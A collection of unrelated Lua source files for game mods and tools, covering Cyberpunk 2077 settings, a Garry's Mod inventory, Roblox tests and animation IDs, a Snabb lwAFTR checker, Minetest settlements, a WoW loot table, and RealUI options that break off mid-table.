--------------------------------
function createSettingsMenu()
local nativeSettings = GetMod("nativeSettings")
if not nativeSettings.pathExists("/BetterOpticalCamo") then
-- nativeSettings.addTab(path, label, optionalClosedCallback)
nativeSettings.addTab(
"/BetterOpticalCamo",
"Better Optical Camo",
function(state)
local needsReload = willNeedLoadLastCheckpoint()
applyPendingSettings()
writeSettingsToFile()
if (needsReload) then
-- Game.GetSettingsSystem():RequestLoadLastCheckpointDialog()
end
end
)
end
if nativeSettings.pathExists("/BetterOpticalCamo/Core") then
nativeSettings.removeSubcategory("/BetterOpticalCamo/Core")
end
nativeSettings.addSubcategory("/BetterOpticalCamo/Core", "Better Optical Camo")
-- nativeSettings.addRangeFloat(path, label, desc, min, max, step, format, currentValue, defaultValue, callback, optionalIndex)
nativeSettings.addRangeFloat(
"/BetterOpticalCamo/Core",
"Optical Camo Cooldown",
"Cooldown of the optical camo after the effect has run out (Reload required)",
0.5,
30,
0.1,
"%.1f",
settings.opticalCamoCooldown,
defaultOpticalCamoCooldown,
function(state)
pendingSettings.opticalCamoCooldown = state
end)
-- nativeSettings.addSwitch(path, label, desc, currentValue, defaultValue, callback, optionalIndex)
nativeSettings.addSwitch(
"/BetterOpticalCamo/Core",
"Infinite Optical Camo Duration",
"Allow the optical camo to stay active indefinitely (Overrides \"Optical Camo Duration\"; Reload required)",
settings.opticalCamoDurationIsInfinite,
defaultOpticalCamoDurationIsInfinite,
function(state)
pendingSettings.opticalCamoDurationIsInfinite = state
end)
-- nativeSettings.addRangeFloat(path, label, desc, min, max, step, format, currentValue, defaultValue, callback, optionalIndex)
nativeSettings.addRangeFloat(
"/BetterOpticalCamo/Core",
"Optical Camo Duration",
"Duration of the optical camo effect (Reload required)",
0.5,
120,
1,
"%.0f",
settings.opticalCamoDuration,
defaultOpticalCamoDuration,
function(state)
pendingSettings.opticalCamoDuration = state
end)
-- nativeSettings.addSwitch(path, label, desc, currentValue, defaultValue, callback, optionalIndex)
nativeSettings.addSwitch(
"/BetterOpticalCamo/Core",
"Enable Toggling",
"Allow player to toggle the optical camo",
settings.enableToggling,
defaultEnableToggling,
function(state)
pendingSettings.enableToggling = state
end)
-- nativeSettings.addSwitch(path, label, desc, currentValue, defaultValue, callback, optionalIndex)
--nativeSettings.addSwitch(
-- "/BetterOpticalCamo/Core",
-- "Deactivate when entering vehicle (Bugged)",
-- "Automatically deactivate the optical camo when entering a vehicle (Bugged)",
-- settings.deactivateOnVehicleEnter,
-- defaultDeactivateOnVehicleEnter,
-- function(state)
-- pendingSettings.deactivateOnVehicleEnter = state
-- end)
nativeSettings.refresh()
end
function willNeedLoadLastCheckpoint()
if not (settings.opticalCamoCooldown == pendingSettings.opticalCamoCooldown) then
return true
end
if not (settings.opticalCamoDurationIsInfinite == pendingSettings.opticalCamoDurationIsInfinite) then
return true
end
if not (settings.opticalCamoDuration == pendingSettings.opticalCamoDuration) then
return true
end
return false
end
function applyPendingSettings()
settings.opticalCamoCooldown = pendingSettings.opticalCamoCooldown
settings.opticalCamoDurationIsInfinite = pendingSettings.opticalCamoDurationIsInfinite
settings.opticalCamoDuration = pendingSettings.opticalCamoDuration
settings.enableToggling = pendingSettings.enableToggling
settings.deactivateOnVehicleEnter = pendingSettings.deactivateOnVehicleEnter
applySettings()
end
function loadSettingsFromFile()
local file = io.open('settings.json', 'r')
if file ~= nil then
local contents = file:read("*a")
local validJson, savedSettings = pcall(function() return json.decode(contents) end)
file:close()
if validJson then
for key, _ in pairs(settings) do
if savedSettings[key] ~= nil then
settings[key] = savedSettings[key]
end
end
end
end
end
function writeSettingsToFile()
local validJson, contents = pcall(function() return json.encode(settings) end)
if validJson and contents ~= nil then
local file = io.open("settings.json", "w+")
file:write(contents)
file:close()
end
end
--------------------------------
--- Utils
--------------------------------
function setFlatAndUpdate(name, value)
TweakDB:SetFlat(name, value)
TweakDB:Update(name)
end
|
function GM:OnContextMenuOpen()
RunConsoleCommand("OCRP_EmptyCurWeapon")
end
function CL_HasItem(item,amount)
if amount == nil then amount = 1 end
if OCRP_Inventory[item] == nil then return false end
if OCRP_Inventory[item] >= amount then
return true
end
return false
end
function CL_HasRoom(item, amount)
local have = OCRP_Inventory[item] or 0
if amount == nil then amount = 1 end
local max = GAMEMODE.OCRP_Items[item].Max
if max then
if have+amount > max then
return false
end
end
local weight = OCRP_Inventory["WeightData"].Cur
local newweight = GAMEMODE.OCRP_Items[item].Weight * amount
if weight+newweight > OCRP_Inventory["WeightData"].Max then
return false
end
return true
end
function CL_UpdateItem( item, amount, weightcur, weightmax )
OCRP_Inventory.WeightData = {Cur = tonumber(weightcur),Max = tonumber(weightmax)}
OCRP_Inventory[tostring(item)] = tonumber(amount)
if OCRP_MAINMENU and OCRP_MAINMENU:IsValid() and OCRP_MAINMENU.tab == "Inventory" then
local scroll = 0
for k,v in pairs(OCRP_MAINMENU.CurrentChildren) do
if v.VBar and v.VBar:IsValid() then
scroll = v.VBar.Scroll
end
end
ChooseInventoryTab(OCRP_MAINMENU, scroll or 0)
end
if OCRP_SHOPMENU and OCRP_SHOPMENU:IsValid() then
local scroll = 0
if OCRP_SHOPMENU.inv.VBar and OCRP_SHOPMENU.inv.VBar:IsValid() then
scroll = OCRP_SHOPMENU.inv.VBar.Scroll or 0
end
PopulateInventoryContainer(OCRP_SHOPMENU.inv, OCRP_SHOPMENU.shopid, scroll)
end
if OCRP_CRAFTINGMENU and OCRP_CRAFTINGMENU:IsValid() then
local scroll = 0
if OCRP_CRAFTINGMENU.itemList.VBar and OCRP_CRAFTINGMENU.itemList.VBar:IsValid() then
scroll = OCRP_CRAFTINGMENU.itemList.VBar.Scroll or 0
end
OCRP_CRAFTINGMENU:Layout(scroll)
end
end
net.Receive("OCRP_UpdateItem", function()
CL_UpdateItem(net.ReadString(), net.ReadInt(32), net.ReadInt(32), net.ReadInt(32))
end) |
return function()
local Enumerator = require(script.Parent)
it("should throw an error when invalid arguments provided", function()
expect(function()
Enumerator()
end).to.throw()
expect(function()
Enumerator("")
end).to.throw()
expect(function()
Enumerator("", { 1, 2, 3 })
end).to.throw()
expect(function()
Enumerator("", { {}, {}, {} })
end).to.throw()
expect(function()
Enumerator("", { [true] = 1, [false] = 2 })
end).to.throw()
end)
it("should throw an error when empty table provided", function()
expect(function()
Enumerator("a", {})
end).to.throw()
end)
it("should throw an error when enumeratorName is an empty string", function()
expect(function()
Enumerator("", { "a" })
end).to.throw()
end)
it("should throw an error whenever either a key or value is an empty string", function()
expect(function()
Enumerator("a", { "" })
end).to.throw()
expect(function()
Enumerator("a", { [""] = 0 })
end).to.throw()
end)
it("should throw an error when extra arguments provided", function()
expect(function()
Enumerator("a", { "a" }, nil, nil)
end).to.throw()
expect(function()
Enumerator("a", { "a" }, {}, {})
end).to.throw()
end)
it("should throw an error on attempt to modify Enumerator", function()
expect(function()
Enumerator("a", { "a" }).NEW_FIELD = {}
end).to.throw()
expect(function()
getmetatable(Enumerator("a", { "a" })).__index = {}
end).to.throw()
expect(function()
setmetatable(Enumerator("a", { "a" }), {})
end).to.throw()
end)
it("should construct Enumerator when valid arguments provided", function()
return
end)
it("should implement __tostring metamethod", function()
expect(function()
local enumerator = Enumerator("a", { "a" })
assert(tostring(enumerator) == "a")
assert(tostring(enumerator.a) == "a.a")
end).never.to.throw()
end)
it("should throw an error if duplicate values specified", function()
expect(function()
Enumerator("foo", { "bar", "bar" })
end).to.throw()
end)
describe("EnumeratorItem", function()
it("should throw an error on attempt to modify a table", function()
expect(function()
Enumerator("a", { "a" }).a.NEW_FIELD = {}
end).to.throw()
expect(function()
setmetatable(Enumerator("a", { "a" }).a, {})
end).to.throw()
expect(function()
getmetatable(Enumerator("a", { "a" }).a).__index = {}
end).to.throw()
end)
it("should implement __tostring metamethod", function()
expect(function()
assert(tostring(Enumerator("a", { "a" }).a) == "a.a")
end).never.to.throw()
end)
end)
end
|
ALL ANIMATIONS BY HTTP://YOUTUBE.COM/USER/IMPARMENT
TOP:
Reg Walk - Top: http://www.roblox.com/asset/?id=125749145 --onWalk Animation
/e wave - Top: http://www.roblox.com/asset/?id=128777973 --onChated /e wave
/e laugh - Top: http://www.roblox.com/asset/?id=129423131 --onChated /e laugh
/e cheer - Top: http://www.roblox.com/asset/?id=129423030 --onChated /e cheer
/e point - Top: http://www.roblox.com/asset/?id=128853357 --onChated /e point?
Jump: http://www.roblox.com/asset/?id=125750702
Climb:http://www.roblox.com/asset/?id=125750800
Standing still1:http://www.roblox.com/asset/?id=125750618
Standing still2:http://www.roblox.com/asset/?id=125750544
Fall: http://www.roblox.com/asset/?id=125750759
______________________________________________________________
BOTTOM:
Foot Throw emote
http://www.roblox.com/asset/?id=147541880
Fly emote
http://www.roblox.com/asset/?id=147604027
Bird walk
http://www.roblox.com/asset/?id=146908722
Running walk
http://www.roblox.com/asset/?id=146330398
Zen[loop] walk or emote
http://www.roblox.com/asset/?id=144462739
Twirl emote
http://www.roblox.com/asset/?id=144465399
Push ups emote
http://www.roblox.com/asset/?id=144396364
Sitting emote
http://www.roblox.com/asset/?id=144431365
Handstand emote
http://www.roblox.com/asset/?id=144466905
Blow Kiss emote
http://www.roblox.com/asset/?id=144505104
God Mode emote
http://www.roblox.com/asset/?id=144429719
Splits emote
http://www.roblox.com/asset/?id=144429224
Ninja Rest emote or walk
http://www.roblox.com/asset/?id=144514206
DeathIDle emote
http://www.roblox.com/asset/?id=146498853
DeathTest emote
http://www.roblox.com/asset/?id=146498184
HeadThrow emote
http://www.roblox.com/asset/?id=147527133
FrontFlip, then somersault emote
http://www.roblox.com/asset/?id=147842537
Dog walk
http://www.roblox.com/asset/?id=147659445
Superjump jump
http://www.roblox.com/asset/?id=148246688
Backflip emote
http://www.roblox.com/asset/?id=144427269
Hover walk
http://www.roblox.com/asset/?id=148232683
Jerk it emote
http://www.roblox.com/asset/?id=147523286
Worm walk
http://www.roblox.com/asset/?id=148175580
Jesus fly walk
http://www.roblox.com/asset/?id=147648892
Snake walk
http://www.roblox.com/asset/?id=149062704
Rojitzoo RUN walk
http://www.roblox.com/asset/?id=149056458
Skeleton Scatter emote
http://www.roblox.com/asset/?id=148798307
Sea Horse walk
http://www.roblox.com/asset/?id=148939100
Break Dancer emote
http://www.roblox.com/asset/?id=148529127
Minecraft Blaze walk
http://www.roblox.com/asset/?id=148539095
Boomarang emote
http://www.roblox.com/asset/?id=148541449
Head Holding Idle Animation
http://www.roblox.com/asset/?id=148847130
Ground Smash emote
http://www.roblox.com/asset/?id=148934067
Fish walking
http://www.roblox.com/asset/?id=148940417
Zombie Walk
http://www.roblox.com/asset/?id=148944935
Zombie Idle
http://www.roblox.com/asset/?id=148945823
Creeper walk
http://www.roblox.com/asset/?id=149019533
Dog walk
http://www.roblox.com/asset/?id=147659445
Prone Crawl walk
http://www.roblox.com/asset/?id=147690759
Cool Idle Animation
http://www.roblox.com/asset/?id=147878673
Facepalm emote
http://www.roblox.com/asset/?id=148186686
Lyeing Down emote
http://www.roblox.com/asset/?id=147569414
NEW.....ish
________________________________
Long Legs (Thanks to mrjnacho from roblox) Walking
http://www.roblox.com/asset/?id=149178756
Long Legs idle
http://www.roblox.com/asset/?id=149178321
Mr frog idle
http://www.roblox.com/asset/?id=149264246
Mr frog Walking
http://www.roblox.com/asset/?id=149263988
Creeperv2 Idle
http://www.roblox.com/asset/?id=149106372
Creeperv2 walking
http://www.roblox.com/asset/?id=149105580
Worm v2 walk
http://www.roblox.com/asset/?id=148941856
Circle Walking
http://www.roblox.com/asset/?id=148520267
Head Turn emote
http://www.roblox.com/asset/?id=148480425
Head Tossv2 emote
http://www.roblox.com/asset/?id=148477107
Turtle Walk
http://www.roblox.com/asset/?id=148466590
Superjumpv2 jump
http://www.roblox.com/asset/?id=148386452
Superjumpv3 jump
http://www.roblox.com/asset/?id=148246499
Stance2 idle
http://www.roblox.com/asset/?id=147780719
Stance idle
http://www.roblox.com/asset/?id=147780449
Teleport emote
http://www.roblox.com/asset/?id=147777149
No idea what to even name this emote
http://www.roblox.com/asset/?id=147657600
Twist walk
http://www.roblox.com/asset/?id=147654458
Newest
______________
Twerk emote
http://www.roblox.com/asset/?id=149359445
Hand walk idle
http://www.roblox.com/asset/?id=149543114
Hand walk walk
http://www.roblox.com/asset/?id=149541872
Loser emote
http://www.roblox.com/asset/?id=149450024
Killer body parts emote
http://www.roblox.com/asset/?id=149447054
Bow in respect
http://www.roblox.com/asset/?id=149217878
Slime Walk
http://www.roblox.com/asset/?id=149480601
Slime Idle
http://www.roblox.com/asset/?id=149480640
Nyan Walk
http://www.roblox.com/asset/?id=149488420
Nyan Idle
http://www.roblox.com/asset/?id=149488568
Chicken Walk
http://www.roblox.com/asset/?id=149527325
Chicken Idle
http://www.roblox.com/asset/?id=149528467
Gangnam style emote
http://www.roblox.com/asset/?id=149553980
Spider walk
http://www.roblox.com/asset/?id=149714829
Spider idle
http://www.roblox.com/asset/?id=149715242
Child walk
http://www.roblox.com/asset/?id=149762038
Child idle
http://www.roblox.com/asset/?id=149762465
Transformer
http://www.roblox.com/asset/?id=148135433
Rayquaza:
http://www.roblox.com/asset/?id=148864686
Rayquaza Jump:
http://www.roblox.com/asset/?id=148873700
Sit jerk
http://www.roblox.com/asset/?id=147701168
eww hmping animation
http://www.roblox.com/asset/?id=149466947
Sitting
http://www.roblox.com/asset/?id=147519638
Chill
http://www.roblox.com/asset/?id=144431365 |
module(..., package.seeall)
local lib = require("core.lib")
local setup = require("program.lwaftr.setup")
local util = require("program.lwaftr.check.util")
local engine = require("core.app")
local counters = require("program.lwaftr.counters")
local function show_usage(code)
print(require("program.lwaftr.check.README_inc"))
main.exit(code)
end
local function parse_args (args)
local handlers = {}
local opts = {}
function handlers.h() show_usage(0) end
function handlers.r() opts.r = true end
handlers["on-a-stick"] = function ()
opts["on-a-stick"] = true
end
handlers.D = function(dur)
opts["duration"] = tonumber(dur)
end
args = lib.dogetopt(args, handlers, "hrD:",
{ help="h", regen="r", duration="D", ["on-a-stick"] = 0 })
if #args ~= 5 and #args ~= 6 then show_usage(1) end
if not opts["duration"] then opts["duration"] = 0.10 end
return opts, args
end
local function fix_nondeterminacy()
require('apps.ipv4.fragment').use_deterministic_first_fragment_id()
require('apps.ipv6.fragment').use_deterministic_first_fragment_id()
end
function run(args)
fix_nondeterminacy()
local opts, args = parse_args(args)
local load_check = opts["on-a-stick"] and setup.load_check_on_a_stick
or setup.load_check
local conf_file, inv4_pcap, inv6_pcap, outv4_pcap, outv6_pcap, counters_path =
unpack(args)
local conf = setup.read_config(conf_file)
local c = config.new()
load_check(c, conf, inv4_pcap, inv6_pcap, outv4_pcap, outv6_pcap)
engine.configure(c)
if counters_path then
local initial_counters = counters.read_counters()
engine.main({duration=opts.duration})
local final_counters = counters.read_counters()
local counters_diff = util.diff_counters(final_counters,
initial_counters)
if opts.r then
util.regen_counters(counters_diff, counters_path)
else
local req_counters = util.load_requested_counters(counters_path)
util.validate_diff(counters_diff, req_counters)
end
else
engine.main({duration=opts.duration})
end
print("done")
end
|
workspace "Shark"
architecture "x64"
startproject "SharkFin"
configurations
{
"Debug",
"Release"
}
outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}"
includeDir = {}
includeDir["spdlog"] = "%{wks.location}/Shark/dependencies/spdlog/include"
includeDir["ImGui"] = "%{wks.location}/Shark/dependencies/ImGui"
includeDir["stb_image"] = "%{wks.location}/Shark/dependencies/stb_image"
includeDir["EnTT"] = "%{wks.location}/Shark/dependencies/EnTT/include"
includeDir["yaml_cpp"] = "%{wks.location}/Shark/dependencies/yaml-cpp/include"
includeDir["box2d"] = "%{wks.location}/Shark/dependencies/box2d/include"
includeDir["ImGuizmo"] = "%{wks.location}/Shark/dependencies/ImGuizmo"
includeDir["fmt"] = "%{wks.location}/Shark/dependencies/fmt/include"
includeDir["Optick"] = "%{wks.location}/Shark/dependencies/Optick/src"
group "Dependencies"
include "Shark/dependencies/ImGui"
include "Shark/dependencies/yaml-cpp"
include "Shark/dependencies/box2d"
include "Shark/dependencies/ImGuizmo"
include "Shark/dependencies/fmt"
include "Shark/dependencies/Optick"
group ""
include "Shark"
include "Sandbox"
include "SharkFin" |
data:extend(
{
{
type = "recipe-category",
name = "industrial-chemical-processing"
}
})
|
--[[
Test Results:
- Arcana models has no wearables by default
- Only "npc_dota_creature" baseClass can have custom wearables
- Particle effect of PA Arcana model loads automatically
- Particle effect of PA custom wearables must be loaded manually (through modifier)
- Death particle effect of PA Arcana model must be loaded manually (through modifier)
- Arcana animation activity must be translated with "arcana" tag (through modifier)
]]
--------------------------------------------------------------------------------
test_cosmetics = class({})
LinkLuaModifier( "modifier_test_cosmetics", "test_abilities/test_cosmetics/modifier_test_cosmetics", LUA_MODIFIER_MOTION_NONE )
--------------------------------------------------------------------------------
-- Ability Start
function test_cosmetics:OnSpellStart()
-- unit identifier
local caster = self:GetCaster()
self:CreateUnit( "npc_dota_pa_arcana_1", 2, caster:GetOrigin() + 100*caster:GetForwardVector() )
self:CreateUnit( "npc_dota_pa_arcana_2", 0, caster:GetOrigin() - 100*caster:GetForwardVector() )
self:CreateUnit( "npc_dota_pa_arcana_3", 1, caster:GetOrigin() - 100*caster:GetRightVector() )
end
function test_cosmetics:CreateUnit( name, style, location )
local cosmetics = CreateUnitByName( name, location , true, self:GetCaster(), self:GetCaster():GetOwner(), self:GetCaster():GetTeamNumber() )
cosmetics:SetControllableByPlayer( self:GetCaster():GetPlayerID(), false )
cosmetics:SetOwner( self:GetCaster() )
cosmetics:AddNewModifier(
self:GetCaster(), -- player source
self, -- ability source
"modifier_test_cosmetics", -- modifier name
{
style = style,
} -- kv
)
end |
local modpath = minetest.get_modpath(minetest.get_current_modname())
-- internationalization boilerplate
local S, NS = dofile(modpath.."/intllib.lua")
local schem_path = modpath.."/schematics/"
-- Node initialization
local function fill_chest(pos)
-- fill chest
local inv = minetest.get_inventory( {type="node", pos=pos} )
-- always
inv:add_item("main", "default:apple "..math.random(1,3))
-- low value items
if math.random(0,1) < 1 then
inv:add_item("main", "farming:bread "..math.random(0,3))
end
-- medium value items
if math.random(0,3) < 1 then
inv:add_item("main", "fire:flint_and_steel "..math.random(0,1))
inv:add_item("main", "bucket:bucket_empty "..math.random(0,1))
end
end
local initialize_node = function(pos, node, node_def, settlement_info)
-- when chest is found -> fill with stuff
if node.name == "default:chest" then
fill_chest(pos)
end
end
local jungle_hut_complex = {
name = "jungle_tree_hut_complex",
schematic = dofile(schem_path.."jungle_tree_hut_complex.lua"),
buffer = 1,
max_num = 0.1,
force_place = false,
platform_clear_above = false,
platform_fill_below = false,
height_adjust = 1, -- adjusts the y axis of where the schematic is built
initialize_node = initialize_node,
}
local jungle_settlements = {
surface_materials = {
"default:dirt_with_rainforest_litter",
},
ignore_surface_materials = {
"default:jungletree",
},
platform_shallow = "default:dirt_with_rainforest_litter",
platform_deep = "default:stone",
building_count_min = 3,
building_count_max = 12,
altitude_min = 2,
altitude_max = 300,
central_schematics = {
jungle_hut_complex,
},
schematics = {
jungle_hut_complex,
{
name = "jungle_tree_hut",
schematic = dofile(schem_path.."jungle_tree_hut.lua"),
buffer = 0,
max_num = 1,
force_place = false,
platform_clear_above = false,
},
},
generate_name = function(pos)
if minetest.get_modpath("namegen") then
return namegen.generate("jungle_camps")
end
return S("Jungle settlement")
end,
}
if minetest.get_modpath("namegen") then
namegen.parse_lines(io.lines(modpath.."/namegen_jungle.cfg"))
end
settlements.register_settlement("jungle", jungle_settlements)
|
local AddonName, AddonTable = ...
-- The Obsidian Sanctum
-- https://www.wowhead.com/the-obsidian-sanctum
AddonTable.os = {
-- All Difficulties
43345, -- Dragon Hide Bag
-- Sartharion (10)
43986, -- reins-of-the-black-drake [Mount]
40615, -- gloves-of-the-lost-vanquisher
40613, -- gloves-of-the-lost-conqueror
40614, -- gloves-of-the-lost-protector
40427, -- circle-of-arcane-streams
40430, -- majestic-dragon-figurine
40428, -- titans-outlook
43990, -- blade-scarred-tunic
43998, -- chestguard-of-flagrant-prowess
43993, -- greatring-of-collision
43991, -- legguards-of-composure
43989, -- remembrance-girdle
43996, -- sabatons-of-firmament
40426, -- signet-of-the-accord
43992, -- volitant-amulet
43994, -- belabored-legplates
43988, -- gale-proof-cloak
43995, -- enamored-cowl
-- Sartharion (25)
43954, -- reins-of-the-twilight-drake [Mount]
40630, -- gauntlets-of-the-lost-vanquisher
40628, -- gauntlets-of-the-lost-conqueror
40629, -- gauntlets-of-the-lost-protector
44004, -- bountiful-gauntlets
44003, -- upstanding-spaulders
40431, -- fury-of-the-five-flights
44000, -- dragonstorm-breastplate
40432, -- illustration-of-the-dragon-soul
40455, -- staff-of-restraint
44007, -- headpiece-of-reconciliation
40453, -- chestplate-of-the-great-aspects
40437, -- concealment-shoulderpads
40439, -- mantle-of-the-eternal-sentinel
40446, -- dragon-brood-legguards
44006, -- obsidian-greathelm
44002, -- the-sanctums-flowing-vestments
40433, -- wyrmrest-band
40451, -- hyaline-helm-of-the-sniper
44005, -- pennant-cloak
40438, -- council-chamber-epaulets
44011, -- leggings-of-the-honored
44008, -- unsullied-cuffs
43999, -- ring-of-the-empty-horizon
}
|
local _, private = ...
-- Lua Globals --
local next = _G.next
local tostring = _G.tostring
-- Libs --
local ACD = _G.LibStub("AceConfigDialog-3.0")
-- RealUI --
local RealUI = _G.RealUI
local L = RealUI.L
local round = RealUI.Round
local CombatFader = RealUI:GetModule("CombatFader")
local FramePoint = RealUI:GetModule("FramePoint")
local uiWidth, uiHeight = RealUI.GetInterfaceSize()
local ValidateOffset = private.ValidateOffset
local CloseHuDWindow = private.CloseHuDWindow
local options = private.options
local debug = private.debug
options.HuD = {
type = "group",
args = {
toggle = { -- This is for button creation
name = L["HuD_ShowElements"],
type = "group",
order = 0,
args = {
},
},
close = { -- This is for button creation
name = _G.CLOSE,
icon = "close",
type = "group",
order = -1,
args = {
},
},
}
}
local optArgs = options.HuD.args
do -- Other
debug("HuD Other")
local MODNAME = "ActionBars"
local ActionBars = RealUI:GetModule(MODNAME)
optArgs.other = {
name = _G.BINDING_HEADER_OTHER,
icon = "sliders",
type = "group",
childGroups = "tab",
order = 1,
args = {
advanced = {
name = _G.ADVANCED_OPTIONS,
type = "execute",
func = function(info, ...)
RealUI.Debug("Config", "Config Bar")
RealUI.LoadConfig("RealUI")
end,
order = 0,
},
addon = {
name = L["Control_AddonControl"],
type = "execute",
func = function(info, ...)
RealUI:GetModule("AddonControl"):ShowOptionsWindow()
end,
order = 2,
},
general = {
name = _G.GENERAL,
type = "group",
order = 10,
args = {
layout = {
name = L["Layout_Layout"],
type = "select",
values = function()
return {
L["Layout_DPSTank"],
L["Layout_Healing"],
}
end,
get = function(info)
return RealUI.db.char.layout.current
end,
set = function(info, value)
RealUI.db.char.layout.spec[_G.GetSpecialization()] = value
RealUI:UpdateLayout(value)
end,
order = 10,
},
linkLayout = {
name = L["Layout_Link"],
desc = L["Layout_LinkDesc"],
type = "toggle",
get = function() return RealUI.db.profile.positionsLink end,
set = function(info, value)
RealUI.db.profile.positionsLink = value
RealUI.cLayout = RealUI.db.char.layout.current
RealUI.ncLayout = RealUI.cLayout == 1 and 2 or 1
if value then
RealUI.db.profile.positions[RealUI.ncLayout] = RealUI.DeepCopy(RealUI.db.profile.positions[RealUI.cLayout])
end
end,
order = 20,
},
useLarge = {
name = L["HuD_UseLarge"],
desc = L["HuD_UseLargeDesc"],
type = "toggle",
get = function() return RealUI.db.profile.settings.hudSize == 2 end,
set = function(info, value)
RealUI.db.profile.settings.hudSize = value and 2 or 1
_G.StaticPopup_Show("RUI_ChangeHuDSize")
end,
order = 30,
},
hudVert = {
name = L["HuD_Vertical"],
desc = L["HuD_VerticalDesc"],
type = "range",
width = "full",
min = -round(uiHeight * 0.3),
max = round(uiHeight * 0.3),
step = 1,
bigStep = 4,
order = 40,
get = function(info) return RealUI.db.profile.positions[RealUI.cLayout]["HuDY"] end,
set = function(info, value)
RealUI.db.profile.positions[RealUI.cLayout]["HuDY"] = value
RealUI:UpdatePositioners()
end,
}
}
},
spellalert = {
name = _G.COMBAT_TEXT_SHOW_REACTIVES_TEXT,
desc = L["Misc_SpellAlertsDesc"],
type = "group",
args = {
enabled = {
name = L["General_Enabled"],
desc = L["General_EnabledDesc"]:format(_G.COMBAT_TEXT_SHOW_REACTIVES_TEXT),
type = "toggle",
get = function() return RealUI:GetModuleEnabled("SpellAlerts") end,
set = function(info, value)
RealUI:SetModuleEnabled("SpellAlerts", value)
RealUI:ReloadUIDialog()
end,
order = 30,
},
position = {
name = L["HuD_Width"],
desc = L["Misc_SpellAlertsWidthDesc"],
type = "range",
width = "full",
min = round(uiWidth * 0.1),
max = round(uiWidth * 0.5),
step = 1,
bigStep = 4,
order = 30,
get = function(info) return RealUI.db.profile.positions[RealUI.cLayout]["SpellAlertWidth"] end,
set = function(info, value)
RealUI.db.profile.positions[RealUI.cLayout]["SpellAlertWidth"] = value
RealUI:UpdatePositioners()
end,
}
}
},
actionbars = {
name = _G.ACTIONBARS_LABEL:sub(67), -- cut out the "new feature icon"
desc = L["ActionBars_ActionBarsDesc"],
type = "group",
args = {
advanced = {
name = "Bartender 4",
type = "execute",
func = function(info, ...)
ACD:Open("Bartender4")
end,
order = 10,
},
showDoodads = {
name = L["ActionBars_ShowDoodads"],
desc = L["ActionBars_ShowDoodadsDesc"],
type = "toggle",
get = function() return ActionBars.db.profile.showDoodads end,
set = function(info, value)
ActionBars.db.profile.showDoodads = value
ActionBars:RefreshDoodads()
end,
order = 20,
},
header = {
name = L["General_Position"],
type = "header",
order = 39,
},
controlPosition = {
name = L["Control_Position"],
desc = L["Control_PositionDesc"]:format("Bartender4"),
type = "toggle",
get = function() return RealUI:DoesAddonMove("Bartender4") end,
set = function(info, value)
RealUI:ToggleAddonPositionControl("Bartender4", value)
ActionBars:SetEnabledState(RealUI:GetModuleEnabled("ActionBars") and RealUI:DoesAddonMove("Bartender4"))
if value then
ActionBars:ApplyABSettings()
end
end,
order = 40,
},
position = {
name = "",
type = "group",
disabled = function() return not RealUI:DoesAddonMove("Bartender4") end,
inline = true,
args = {
move = {
name = "",
type = "group",
inline = true,
order = 10,
args = {
moveStance = {
name = L["ActionBars_Move"]:format(L["ActionBars_Stance"]),
desc = L["ActionBars_MoveDesc"]:format(L["ActionBars_Stance"]),
type = "toggle",
get = function() return ActionBars.db.profile[RealUI.cLayout].moveBars.stance end,
set = function(info, value)
ActionBars.db.profile[RealUI.cLayout].moveBars.stance = value
ActionBars:ApplyABSettings()
end,
order = 10,
},
movePet = {
name = L["ActionBars_Move"]:format(L["ActionBars_Pet"]),
desc = L["ActionBars_MoveDesc"]:format(L["ActionBars_Pet"]),
type = "toggle",
get = function() return ActionBars.db.profile[RealUI.cLayout].moveBars.pet end,
set = function(info, value)
ActionBars.db.profile[RealUI.cLayout].moveBars.pet = value
ActionBars:ApplyABSettings()
end,
order = 20,
},
moveEAB = {
name = L["ActionBars_Move"]:format(L["ActionBars_EAB"]),
desc = L["ActionBars_MoveDesc"]:format(L["ActionBars_EAB"]),
type = "toggle",
get = function() return ActionBars.db.profile[RealUI.cLayout].moveBars.eab end,
set = function(info, value)
ActionBars.db.profile[RealUI.cLayout].moveBars.eab = value
ActionBars:ApplyABSettings()
end,
order = 30,
},
}
},
center = {
name = L["ActionBars_Center"],
desc = L["ActionBars_CenterDesc"],
type = "select",
values = function()
return {
L["ActionBars_CenterOption"]:format(0, 3),
L["ActionBars_CenterOption"]:format(1, 2),
L["ActionBars_CenterOption"]:format(2, 1),
L["ActionBars_CenterOption"]:format(3, 0),
}
end,
get = function(info)
return ActionBars.db.profile[RealUI.cLayout].centerPositions
end,
set = function(info, value)
ActionBars.db.profile[RealUI.cLayout].centerPositions = value
ActionBars:ApplyABSettings()
RealUI:UpdatePositioners()
end,
order = 20,
},
side = {
name = L["ActionBars_Sides"],
desc = L["ActionBars_SidesDesc"],
type = "select",
values = function()
return {
L["ActionBars_SidesOption"]:format(0, 2),
L["ActionBars_SidesOption"]:format(1, 1),
L["ActionBars_SidesOption"]:format(2, 0),
}
end,
get = function(info)
return ActionBars.db.profile[RealUI.cLayout].sidePositions
end,
set = function(info, value)
ActionBars.db.profile[RealUI.cLayout].sidePositions = value
ActionBars:ApplyABSettings()
RealUI:UpdatePositioners()
end,
order = 30,
},
vertical = {
name = L["HuD_Vertical"],
desc = L["HuD_VerticalDesc"],
type = "range",
width = "full",
min = -round(uiHeight * 0.3), max = round(uiHeight * 0.3),
step = 1, bigStep = 4,
order = -1,
get = function(info) return RealUI.db.profile.positions[RealUI.cLayout]["ActionBarsY"] end,
set = function(info, value)
RealUI.db.profile.positions[RealUI.cLayout]["ActionBarsY"] = value - .5
ActionBars:ApplyABSettings()
RealUI:UpdatePositioners()
end,
}
}
}
}
}
}
}
end
do -- UnitFrames
debug("HuD UnitFrames")
local MODNAME = "UnitFrames"
local UnitFrames = RealUI:GetModule(MODNAME)
optArgs.unitframes = {
name = _G.UNITFRAME_LABEL,
icon = "th",
type = "group",
childGroups = "tab",
order = 2,
args = {
enable = {
name = L["General_Enabled"],
desc = L["General_EnabledDesc"]:format("RealUI ".._G.UNITFRAME_LABEL),
type = "toggle",
get = function(info) return RealUI:GetModuleEnabled(MODNAME) end,
set = function(info, value)
RealUI:SetModuleEnabled("UnitFrames", value)
CloseHuDWindow()
RealUI:ReloadUIDialog()
end,
},
general = {
name = _G.GENERAL,
type = "group",
disabled = function() return not(RealUI:GetModuleEnabled(MODNAME)) end,
order = 10,
args = {
classColor = {
name = L["Appearance_ClassColorHealth"],
type = "toggle",
get = function() return UnitFrames.db.profile.overlay.classColor end,
set = function(info, value)
UnitFrames.db.profile.overlay.classColor = value
